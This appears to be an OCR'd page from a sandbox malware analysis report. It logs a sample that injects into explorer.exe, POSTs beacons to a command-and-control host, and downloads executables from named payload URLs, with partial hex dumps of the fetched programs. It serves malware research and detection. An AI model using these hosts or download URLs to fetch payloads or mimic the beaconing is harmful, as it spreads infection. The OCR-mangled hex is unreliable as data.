44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 6e 61 6¢ 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d Oa 0d Oa

Data Ascii: 191<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ykpbkuficw.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 274

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:22:06 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 31 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 6e 61 6¢ 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f
64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html|><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></htmI>0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://bfwrlwg.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 179

Host: nalirou70.top
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kBytes
Timestamp transferred

Nov 9, 2021 11327
22:22:08.415822029 CET

Session ID Source IP
34 192.168.2.4

kBytes
Timestamp transferred
Nov 9, 2021 11328

22:22:08.753948927 CET

Nov 9, 2021 11329
22:22:09.729840994 CET

Session ID Source IP
35 192.168.2.4

kBytes
Timestamp transferred
Nov 9, 2021 11329

22:22:10.497035027 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49886

Direction

ouT

Source Port
49887

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:22:08 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 31 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
220 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 6e 61 6¢ 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f
64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 191<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html|>0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://Jumgsuuguwn.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 364

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:22:09 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 35 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19
88 2c b4 59 52 db 03 8 e5 2c f3 65 02 47 e5 aa e3 1e bb 52 df 41 d1 ff 27 87 21 80 a5 9a 52 2e f8 €3 00 7e 0d Oa 30 0d
Oa 0d Oa

Data Ascii: 451:820U&,YR,eGRA'IR.~0

Destination IP  Destination Port Process
47.74.84.15 80 C:\Windows\explorer.exe

Data

GET /files/7993_1636371023_9825.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: host-host-file6.com
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kBytes
Timestamp transferred

Nov 9, 2021 11331
22:22:11.359823942 CET

Session ID Source IP
4 192.168.2.4

kBytes
Timestamp transferred
Nov 9, 2021 1213

22:20:50.087435007 CET

Nov 9, 2021 1214
22:20:51.068881035 CET

Session ID Source IP
5 192.168.2.4

kBytes
Timestamp transferred
Nov 9, 2021 1214

22:20:51.417298079 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49780

Direction

ouT

Source Port
49781

Direction

ouT

Data

HTTP/1.1 200 OK

Date: Tue, 09 Nov 2021 21:22:11 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38

Last-Modified: Mon, 08 Nov 2021 11:30:23 GMT

ETag: "ad600-5d04551962fd0"

Accept-Ranges: bytes

Content-Length: 710144

Connection: close

Content-Type: application/octet-stream

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 €8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
50 45 00 00 4c 01 04 00 e6 07 c1 5e 00 00 00 00 00 00 00 00 e0 00 03 01 Ob 01 Oa 00 00 1e 08 00 00 42 03 00 00 00 00
00 cc 1e 00 00 00 10 00 00 00 30 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00
00 00 00 60 Ob 00 00 04 00 00 ba a1l Ob 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10
00 00 00 00 00 00 00 00 00 00 00 54 62 08 00 3c 00 00 00 00 00 09 00 b0 5f 02 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 b0 31 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 28 4e 08 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 08 00 6¢ 01 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 1d 08 00 00 10 00 00 00 1e 08 00 00 04 00 00 00
00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a0 3a 00 00 00 30 08 00 00 3c 00 00 00 22 08 00
00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 8e 00 00 00 70 08 00 00 18 00 00 00 5e 08
00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 5f 02 00 00 00 09 00 00 60 02 00 00 76
08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL"BO@ Th<_1(N@Ol.text" ".rdata:0<"@@.dat
ap"@.rsrc_v@@

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xyaugxpv.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 319

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:20:50 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2
13 cc 7b b8 43 08 c4 55 al a7 3d ef 3a 1a 1a b3 ee d2 43 e2 00 8d 01 c9 ba 78 da 7e ac ec c3 02 29 8 €3 00 7e 0d Oa 30
0d Oa 0d 0a

Data Ascii: 451:8200j{CU=:Cx~)~0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

GET /downloads/toolspab2.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: privacytoolzforyou7000.top
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kBytes
Timestamp transferred

Nov 9, 2021 1216
22:20:52.278337955 CET

Session ID Source IP
6 192.168.2.4

kBytes
Timestamp transferred
Nov 9, 2021 1529

22:20:56.667695045 CET

Nov 9, 2021 1530
22:20:57.647743940 CET

Session ID Source IP

7 192.168.2.4

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49783

Direction
ouT

Source Port

49784

Data

HTTP/1.1 200 OK

Date: Tue, 09 Nov 2021 21:20:51 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38

Last-Modified: Tue, 09 Nov 2021 21:20:02 GMT

ETag: "47800-5d061ac268811"

Accept-Ranges: bytes

Content-Length: 292864

Connection: close

Content-Type: application/octet-stream

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 €0 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 bd 92 82 96 f9 3 ec ¢5 f9 f3 ec c5 f9 3 ec c5 96 85 47 ¢5 d3 f3 ec ¢5 96 85 72 c5
e8f3 ec c5 96 85 46 c5 e f3 ec ¢5 f0 8b 7f c5 fe f3 ec ¢5 f9 f3 ed ¢5 7c f3 ec ¢5 96 85 43 ¢5 8 3 ec ¢5 96 85 76 ¢5 8 {3 ec
€596 85 71 c5 f8 f3 ec ¢5 52 69 63 68 9 f3 ec ¢5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4d 64 d7 5f 00 00 00
00 00 00 00 00 e0 00 02 01 Ob 01 Oa 00 00 14 03 00 00 a6 70 02 00 00 00 00 60 82 01 00 00 10 00 00 00 30 03 00 00 00
40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 74 02 00 04 00 00 31 08 05 00 02
00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ec 16 03 00
50 00 00 00 00 a0 72 02 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fO 72 02 cO 17 00 00 40 12 00
00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 7b 01 00 40 00 00 00 00 00
00 00 00 00 00 00 00 10 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e
74 65 78 74 00 00 00 a8 12 03 00 00 10 00 00 00 14 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60
2e 64 61 74 61 00 00 00 2c 64 6f 02 00 30 03 00 00 12 00 00 00 18 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00
c02e 72 73 72 63 00 00 00 10 42 00 00 00 a0 72 02 00 44 00 00 00 2a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
00 40 2e 72 65 6¢ 6f 63 00 00 ¢8 09 01 00 00 fO 72 02 00 Oa 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$GrF|CvqRichPELMd_p 0@t1PrBr@{@.text ".data
,do0@.rsrcBrD*@@.relocrn@B

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ruebf.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 330

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:20:57 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 31 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 6e 61 6¢ 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f
64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 191<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></htmI>0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred

Nov 9, 2021 1531

22:20:58.655348063 CET

Nov 9, 2021 1532

22:20:59.633724928 CET

Session ID Source IP

8 192.168.2.4
kBytes

Timestamp transferred

Nov 9, 2021 1533

22:21:04.788521051 CET

Nov 9, 2021 1564

22:21:05.768644094 CET

Session ID Source IP

9 192.168.2.4
kBytes

Timestamp transferred

Nov 9, 2021 1571

22:21:06.100507975 CET

Nov 9, 2021 1701

22:21:07.085383892 CET

HTTPS Proxied Packets

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49786

Direction

ouT

Source Port
49788

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://vhiaeb.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 113

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:20:59 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 32 63 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd el fd 5f {7 4d
91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d Oa 0d Oa

Data Ascii: 2cl:8201:@_MgBJK,0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://jivrsspwd.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 299

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 31 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 6e 61 6¢ 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f
64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 191<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></htm|>0

Destination IP  Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://hjuvthale.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 147

Host: nalirou70.top

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close
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Session ID Source IP

0 192.168.2.4
kBytes
Timestamp transferred

2021-11-09 21:21:48 UTC 0

2021-11-09 21:21:48 UTC 0

2021-11-09 21:21:48 UTC 1

2021-11-09 21:21:48 UTC 1

2021-11-09 21:21:48 UTC 2

2021-11-09 21:21:48 UTC 4

2021-11-09 21:21:48 UTC 5

Copyright Joe Security LLC 2021

Source Port

49868

Direction

ouT

Destination IP Destination Port Process

